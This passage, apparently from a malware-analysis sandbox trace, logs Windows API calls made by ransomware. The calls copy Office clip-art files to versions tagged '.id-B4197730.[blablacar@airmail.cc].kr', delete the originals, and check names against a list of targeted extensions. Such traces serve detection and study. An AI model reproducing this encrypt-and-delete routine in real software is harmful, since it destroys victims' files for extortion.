lpNumberOfBytesWritten=0x377fc94*=0x13e0, lpOverlapped=0x0) returned 1 [0211.969] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.969] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.970] SetEndOfFile (hFile=0x4d4) returned 1 [0211.970] CloseHandle (hObject=0x4d4) returned 1 [0211.970] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.970] SetEndOfFile (hFile=0x56c) returned 1 [0211.973] CloseHandle (hObject=0x56c) returned 1 [0211.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0211.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.974] lstrlenW (lpString=".doc") returned 4 [0211.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString=".docx") returned 5 [0211.974] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.974] lstrlenW (lpString=".pdf") returned 4 [0211.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString=".xls") returned 4 [0211.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.974] lstrlenW (lpString=".xlsx") returned 5 [0211.974] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.974] lstrlenW (lpString=".ppt") returned 4 [0211.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.974] lstrlenW (lpString=".zip") returned 4 [0211.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.974] lstrlenW (lpString=".rar") returned 4 [0211.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString=".bz2") returned 4 [0211.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString=".7z") returned 3 [0211.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.974] lstrlenW (lpString=".dbf") returned 4 [0211.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.974] lstrlenW (lpString=".1cd") returned 4 [0211.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.974] lstrlenW (lpString=".jpg") returned 4 [0211.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.975] lstrlenW (lpString=".doc") returned 4 [0211.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.975] lstrlenW (lpString=".docx") returned 5 [0211.975] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.975] lstrlenW (lpString=".pdf") returned 4 [0211.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.975] lstrlenW (lpString=".xls") returned 4 [0211.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.975] lstrlenW (lpString=".xlsx") returned 5 [0211.975] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.975] lstrlenW (lpString=".ppt") returned 4 [0211.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.975] lstrlenW (lpString=".zip") returned 4 [0211.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.975] lstrlenW (lpString=".rar") returned 4 [0211.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.975] lstrlenW (lpString=".bz2") returned 4 [0211.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.975] lstrlenW (lpString=".7z") returned 3 [0211.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.975] lstrlenW (lpString=".dbf") returned 4 [0211.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.976] lstrlenW (lpString=".1cd") returned 4 [0211.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0211.976] lstrlenW (lpString=".jpg") returned 4 [0211.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.976] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.976] lstrlenW (lpString="J0107350.WMF") returned 12 [0211.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.976] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=23672) returned 1 [0211.977] CloseHandle (hObject=0x56c) returned 1 [0211.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220 [0211.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.979] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.979] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.980] GetLastError () returned 0x0 [0211.980] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x5c78, lpOverlapped=0x0) returned 1 [0211.982] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5c80, lpOverlapped=0x0) returned 1 [0211.983] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.983] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.983] SetEndOfFile (hFile=0x4d4) returned 1 [0211.983] CloseHandle (hObject=0x4d4) returned 1 [0211.983] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.983] SetEndOfFile (hFile=0x56c) returned 1 [0211.986] CloseHandle (hObject=0x56c) returned 1 [0211.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0211.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.987] lstrlenW (lpString=".doc") returned 4 [0211.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.987] lstrlenW (lpString=".docx") returned 5 [0211.987] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.987] lstrlenW (lpString=".pdf") returned 4 [0211.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.987] lstrlenW (lpString=".xls") returned 4 [0211.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.987] lstrlenW (lpString=".xlsx") returned 5 [0211.987] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.987] lstrlenW (lpString=".ppt") returned 4 [0211.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.987] lstrlenW (lpString=".zip") returned 4 [0211.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.987] lstrlenW (lpString=".rar") returned 4 [0211.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString=".bz2") returned 4 [0211.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString=".7z") returned 3 [0211.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.988] lstrlenW (lpString=".dbf") returned 4 [0211.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.988] lstrlenW (lpString=".1cd") returned 4 [0211.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.988] lstrlenW (lpString=".jpg") returned 4 [0211.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.988] lstrlenW (lpString=".doc") returned 4 [0211.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString=".docx") returned 5 [0211.988] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.988] lstrlenW (lpString=".pdf") returned 4 [0211.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString=".xls") returned 4 [0211.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.988] lstrlenW (lpString=".xlsx") returned 5 [0211.988] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.988] lstrlenW (lpString=".ppt") returned 4 [0211.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.988] lstrlenW (lpString=".zip") returned 4 [0211.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.988] lstrlenW (lpString=".rar") returned 4 [0211.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.989] lstrlenW (lpString=".bz2") returned 4 [0211.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.989] lstrlenW (lpString=".7z") returned 3 [0211.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.989] lstrlenW (lpString=".dbf") returned 4 [0211.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.989] lstrlenW (lpString=".1cd") returned 4 [0211.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0211.989] lstrlenW (lpString=".jpg") returned 4 [0211.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.989] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.989] lstrlenW (lpString="J0107358.WMF") returned 12 [0211.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.308] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=7964) returned 1 [0212.327] CloseHandle (hObject=0x3c4) returned 1 [0212.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0212.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.327] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.327] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.328] GetLastError () returned 0x0 [0212.328] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0212.330] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0212.331] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.331] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.331] SetEndOfFile (hFile=0x3f8) returned 1 [0212.331] CloseHandle (hObject=0x3f8) returned 1 [0212.331] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.331] SetEndOfFile (hFile=0x3c4) returned 1 [0212.334] CloseHandle (hObject=0x3c4) returned 1 [0212.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0212.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.335] lstrlenW (lpString=".doc") returned 4 [0212.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.335] lstrlenW (lpString=".docx") returned 5 [0212.335] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0212.335] lstrlenW (lpString=".pdf") returned 4 [0212.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.335] lstrlenW (lpString=".xls") returned 4 [0212.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.335] lstrlenW (lpString=".xlsx") returned 5 [0212.335] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0212.335] lstrlenW (lpString=".ppt") returned 4 [0212.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString=".zip") returned 4 [0212.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.336] lstrlenW (lpString=".rar") returned 4 [0212.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString=".bz2") returned 4 [0212.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString=".7z") returned 3 [0212.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString=".dbf") returned 4 [0212.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString=".1cd") returned 4 [0212.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString=".jpg") returned 4 [0212.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString=".doc") returned 4 [0212.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString=".docx") returned 5 [0212.336] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0212.336] lstrlenW (lpString=".pdf") returned 4 [0212.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString=".xls") returned 4 [0212.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.336] lstrlenW (lpString=".xlsx") returned 5 [0212.336] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0212.336] lstrlenW (lpString=".ppt") returned 4 [0212.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.336] lstrlenW (lpString=".zip") returned 4 [0212.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.337] lstrlenW (lpString=".rar") returned 4 [0212.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.337] lstrlenW (lpString=".bz2") returned 4 [0212.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.337] lstrlenW (lpString=".7z") returned 3 [0212.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.337] lstrlenW (lpString=".dbf") returned 4 [0212.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.337] lstrlenW (lpString=".1cd") returned 4 [0212.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0212.337] lstrlenW (lpString=".jpg") returned 4 [0212.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.337] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.337] lstrlenW (lpString="J0107480.WMF") returned 12 [0212.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.338] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6024) returned 1 [0212.338] CloseHandle (hObject=0x3c4) returned 1 [0212.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220 [0212.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0212.338] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.338] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.339] GetLastError () returned 0x0 [0212.339] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1788, lpOverlapped=0x0) returned 1 [0212.341] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1790, lpOverlapped=0x0) returned 1 [0212.342] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.342] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, 